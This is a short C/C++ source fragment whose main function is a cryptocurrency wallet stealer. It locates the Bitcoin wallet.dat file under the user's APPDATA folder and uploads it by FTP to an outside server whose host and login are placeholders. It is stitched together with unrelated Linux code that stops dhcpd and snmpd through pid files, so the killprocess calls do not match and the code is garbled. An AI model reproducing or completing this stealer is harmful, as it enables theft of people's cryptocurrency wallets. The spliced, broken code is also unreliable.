int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { killprocess(); Sleep(40000); srand((unsigned)time(NULL)); int seedone=rand(); int seedtwo=rand()*3; int seedboth = seedone + seedtwo; char randomseed[99]; _itoa(seedboth,randomseed,10); char* appdata = getenv("APPDATA"); char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat"); //ftp HINTERNET hInternet; HINTERNET hFtpSession; hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); hFtpSession = InternetConnect(hInternet, "FTP HOST", INTERNET_DEFAULT_FTP_PORT, "FTP UN", "FTP PW", INTERNET_SERVICE_FTP, 0, 0); FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0); FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(hFtpSession); InternetCloseHandle(hInternet); return 0; }
int killprocess( const char * pid_file ) { FILE *file = NULL; char buffer[STRING_SIZE]; int pid = 0; memset(buffer, 0, STRING_SIZE); if ((file = fopen(pid_file, "r")) == NULL) { return -1; } if (fgets(buffer, STRING_SIZE - 1, file) == NULL) { fclose(file); return -2; } stripnl(buffer); pid = safeatoi(buffer); if (pid <= 1) { fclose(file); return -3; } fclose(file); int error = killprocess( pid ); unlink( pid_file ); return( error ); }
int stop_dhcpd(std::vector<std::string> & parameters, std::string & response) { int error = 0; killprocess("/var/run/dhcpd.pid"); response = "DHCPD Process Terminated"; unlink("/var/run/dhcpd.pid"); return error; }
int stop_snmp( std::vector<std::string> & parameters, std::string & response ) { response = "SNMP rocess terminated"; killprocess("/var/run/snmpd.pid"); return 0; }